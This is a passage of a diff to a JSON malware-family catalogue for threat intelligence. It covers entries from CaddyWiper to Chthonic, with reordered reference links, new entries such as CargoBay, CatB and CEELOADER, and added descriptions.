"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecuritynews.com/destructive-data-wiper-malware/", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://twitter.com/HackPatch/status/1503538555611607042", - "https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html", "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - "https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine" + "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions", + "https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/" ], "synonyms": [ "KillDisk.NCX" @@ -15901,23 +16951,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy", - "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf" + "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf", + "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" ], "synonyms": [ "Cadelle" ], "type": [] }, - "related": [ - { - "dest-uuid": "38d6a0a1-0388-40d4-b8f4-1d58eeb9a07d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "cad83c5e-2081-4ab4-81c7-32cfc16eae66", "value": "CadelSpy" }, @@ -15926,9 +16967,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn", - "https://www.youtube.com/watch?v=3cUWjojQXWE", "https://twitter.com/8th_grey_owl/status/1357550261963689985", - "https://www.datanet.co.kr/news/articleView.html?idxno=133346" + "https://www.datanet.co.kr/news/articleView.html?idxno=133346", + "https://www.youtube.com/watch?v=3cUWjojQXWE" ], "synonyms": [], "type": [] @@ -15956,11 +16997,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader", - "https://orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-perspectives/", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-perspectives/", + "https://blog.group-ib.com/prometheus-tds", "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://unit42.paloaltonetworks.com/bazarloader-malware/", - "https://blog.group-ib.com/prometheus-tds" + "https://unit42.paloaltonetworks.com/bazarloader-malware/" ], "synonyms": [], "type": [] @@ -15999,9 +17040,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cannon", - "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/", + "https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html", "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", - "https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html" + "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/" ], "synonyms": [], "type": [] @@ -16010,29 +17051,33 @@ "value": "Cannon" }, { - "description": "", + "description": "MyCERT states that Carbanak is a remote backdoor designed for espionage, data exfiltration, and to remote control.\r\n\r\nThe attacker deploy malware via spear phishing email to lure the user to open and run the malicious attachment that will infect the machine. The main objective of this campaign is primarily to remotely control the infected machine and gain control of the internal destinations of money processing services such as Automated Teller Machines(ATM) and financial accounts. The following information are the malware capabilities:\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak", - "https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", - "https://threatintel.blog/OPBlueRaven-Part2/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://unit42.paloaltonetworks.com/atoms/mulelibra/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html", - "https://threatintel.blog/OPBlueRaven-Part1/", - "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", - "https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://threatintel.blog/OPBlueRaven-Part2/", + "https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html" + "https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://threatintel.blog/OPBlueRaven-Part1/", + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html", + "https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/", + "https://www.prodaft.com/m/reports/FIN7_TLPCLEAR.pdf", + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html", + "https://unit42.paloaltonetworks.com/atoms/mulelibra/", + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" ], "synonyms": [ "Anunak", @@ -16048,10 +17093,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp", - "https://cdn1.esetstatic.com/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf", + "https://blog.avast.com/2013/04/08/carberp_epitaph/", "https://web.archive.org/web/20150713145858/http://www.rsaconference.com/writable/presentations/file_upload/ht-t06-dissecting-banking-trojan-carberp_copy1.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://blog.avast.com/2013/04/08/carberp_epitaph/" + "https://cdn1.esetstatic.com/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree" ], "synonyms": [], "type": [] @@ -16064,26 +17111,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cardinal_rat", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/?adbsc=social71702736&adbid=855028404965433346&adbpl=tw&adbpr=4487645412", - "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/", "https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "1d9fbf33-faea-40c1-b543-c7b39561f0ff", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3d3da4c0-004c-400c-9da6-f83fd35d907e", "value": "Cardinal RAT" }, + { + "description": "CargoBay is a newer malware family which was first observed in 2022 and is notable for being written in the Rust language. CargoBay is likely based on source code taken from 'Black Hat Rust' GitHub project (https://github.com/skerkour/black-hat-rust). CargoBay is usually distributed via phishing emails, and the malware binaries may be disguised as legitimate applications. Upon execution, the malware starts by performing environmental checks such as checking its execution path and the configured system language. If the tests pass, then the malware proceeds to gather basic system information and register with its C2 via HTTP from which it receives JSON-formatted jobs to carry out. CargoBay can execute commands via the command line and downloading additional malware binaries.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay", + "https://exchange.xforce.ibmcloud.com/malware-analysis/guid:87abff769352d8208e403331c86eb95f" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cfdc931d-d3da-4b2a-9fef-42592c0f5c5f", + "value": "CargoBay" + }, { "description": "CARROTBALL is a simple FTP downloader built to deploy SYSCON, a Remote Access Trojan used by the same threat actor. Discovered by Unit 42 in late 2019, the downloader was adopted for use in spear phishing attacks against US government agencies.", "meta": { @@ -16121,18 +17175,23 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "63b3e6fb-9bb8-43dc-9cbf-7681b049b5d6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3198501e-0ff0-43b7-96f0-321b463ab656", "value": "Casper" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.catb", + "https://minerva-labs.com/blog/new-catb-ransomware-employs-2-year-old-dll-hijacking-technique-to-evade-detection/", + "https://www.sentinelone.com/blog/decrypting-catb-ransomware-analyzing-their-latest-attack-methods/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a96445d6-4bbb-4b9a-a761-83759108a403", + "value": "CatB" + }, { "description": "", "meta": { @@ -16147,31 +17206,31 @@ "value": "Catchamas" }, { - "description": "", + "description": "According to CrowdStrike, this backdoor was discovered embedded in the legitimate, signed version of CCleaner 5.33, and thus constitutes a supply chain attack.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", - "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://risky.biz/whatiswinnti/", - "https://stmxcsr.com/persistence/print-processor.html", - "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", - "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms", - "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html", - "https://blog.avast.com/progress-on-ccleaner-investigation", - "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/", - "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident", "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", - "https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/", - "https://twitter.com/craiu/status/910148928796061696", - "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", - "http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/", - "https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer", + "https://www.wired.com/story/ccleaner-malware-targeted-tech-firms", "https://blog.avast.com/avast-threat-labs-analysis-of-ccleaner-incident", - "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + "https://risky.biz/whatiswinnti/", + "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", + "https://www.crowdstrike.com/blog/protecting-software-supply-chain-deep-insights-ccleaner-backdoor/", + "https://blog.avast.com/progress-on-ccleaner-investigation", + "https://blog.avast.com/update-ccleaner-attackers-entered-via-teamviewer", + "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/", + "https://blog.avast.com/additional-information-regarding-the-recent-ccleaner-apt-security-incident", + "https://twitter.com/craiu/status/910148928796061696", + "https://www.crowdstrike.com/blog/in-depth-analysis-of-the-ccleaner-backdoor-stage-2-dropper-and-its-payload/", + "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/", + "http://blog.morphisec.com/morphisec-discovers-ccleaner-backdoor", + "https://stmxcsr.com/persistence/print-processor.html", + "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html" ], "synonyms": [ "DIRTCLEANER" @@ -16181,6 +17240,19 @@ "uuid": "c51ee09b-fc2d-41fd-a43b-426a4f337139", "value": "CCleaner Backdoor" }, + { + "description": "Mandiant characterizes this malware as a downloader and shellcode stager.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.ceeloader", + "https://www.mandiant.com/resources/blog/russian-targeting-gov-business" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0333d13e-e01f-46cd-a030-448bbf043c10", + "value": "CEELOADER" + }, { "description": "", "meta": { @@ -16201,22 +17273,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerber", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/", - "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://rinseandrepeatanalysis.blogspot.com/2018/08/reversing-cerber-raas.html", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s", "https://www.virusbulletin.com/virusbulletin/2017/12/vb2017-paper-nine-circles-cerber/", + "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://news.sophos.com/en-us/2022/06/16/confluence-exploits-used-to-drop-ransomware-on-vulnerable-servers/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", "http://blog.trendmicro.com/trendlabs-security-intelligence/cerber-starts-evading-machine-learning/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s" + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus" ], "synonyms": [], "type": [] @@ -16281,24 +17354,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot", - "https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", "https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/", + "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/", "https://www.vice.com/en_us/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec", - "https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/" + "https://www.icebrg.io/blog/adobe-flash-zero-day-targeted-attack", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "a032460e-c54c-11e8-9965-43b7b6469a65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "36f9a5e0-9a78-4b9a-9072-1596c91b59b6", "value": "Chainshot" }, @@ -16320,15 +17384,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaos", + "https://research.openanalysis.net/quasar/chaos/rat/ransomware/2023/04/13/quasar-chaos.html", "https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/", - "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/", - "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree", "https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging", "https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/", - "https://twitter.com/vinopaljiri/status/1519645742440329216", - "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", + "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree", "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction", - "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html" + "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html", + "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", + "https://twitter.com/vinopaljiri/status/1519645742440329216", + "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/" ], "synonyms": [ "FakeRyuk", @@ -16338,7 +17403,7 @@ "type": [] }, "uuid": "fb760029-9331-4ba0-b644-d47a8e6d3ad2", - "value": "Chaos" + "value": "Chaos (Windows)" }, { "description": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.", @@ -16376,11 +17441,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches", "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", - "https://www.jpcert.or.jp/magazine/acreport-ChChes.html", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html", + "https://www.jpcert.or.jp/magazine/acreport-ChChes.html", "https://www.jpcert.or.jp/magazine/acreport-ChChes_ps1.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html" ], "synonyms": [ "HAYMAKER", @@ -16396,8 +17461,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cheesetray", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045c", "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045c", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf" ], "synonyms": [ @@ -16426,8 +17491,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cherry_picker", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/", "https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Memory-Scraping-Technique-in-Cherry-Picker-PoS-Malware/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + "https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html" ], "synonyms": [ "cherry_picker", @@ -16457,78 +17523,79 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper", - "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", - "https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/", - "https://attack.mitre.org/groups/G0125/", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://www.crowdstrike.com/blog/an-end-to-smash-and-grab-more-targeted-approaches/", - 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"https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/", + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://twitter.com/ESETresearch/status/1366862946488451088", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/multi-factor-authentication-new-attacks", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", + "https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", + "https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers", + "https://www.secureworks.com/research/threat-profiles/bronze-president", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/", + "https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/", + "https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" ], "synonyms": [], "type": [] @@ -16566,7 +17633,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto", - 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"https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis", + "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", "https://community.riskiq.com/article/5fe2da7f", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", + "https://nao-sec.org/2021/01/royal-road-redive.html", "https://community.riskiq.com/article/56fa1b2f", "https://www.proofpoint.com/us/blog/threat-insight/above-fold-and-your-inbox-tracing-state-aligned-activity-targeting-journalists", - "https://nao-sec.org/2021/01/royal-road-redive.html", - "https://medium.com/@Sebdraven/how-to-unpack-chinoxy-backdoor-and-decipher-the-configuration-of-the-backdoor-4ffd98ca2a02", - "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://medium.com/@Sebdraven/how-to-unpack-chinoxy-backdoor-and-decipher-the-configuration-of-the-backdoor-4ffd98ca2a02" ], "synonyms": [], "type": [] @@ -16614,8 +17685,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chisel", - "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/" + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/" ], "synonyms": [], "type": [] @@ -16643,7 +17714,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.choziosi", "https://cybergeeks.tech/chromeloader-browser-hijacker", "https://redcanary.com/blog/chromeloader/", - "https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html" + "https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html", + "https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension" ], "synonyms": [ "ChromeLoader" @@ -16658,10 +17730,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://bartblaze.blogspot.com/2017/08/crystal-finance-millennium-used-to.html", + "https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan", "https://securelist.com/chthonic-a-new-modification-of-zeus/68176/", - "https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan" + 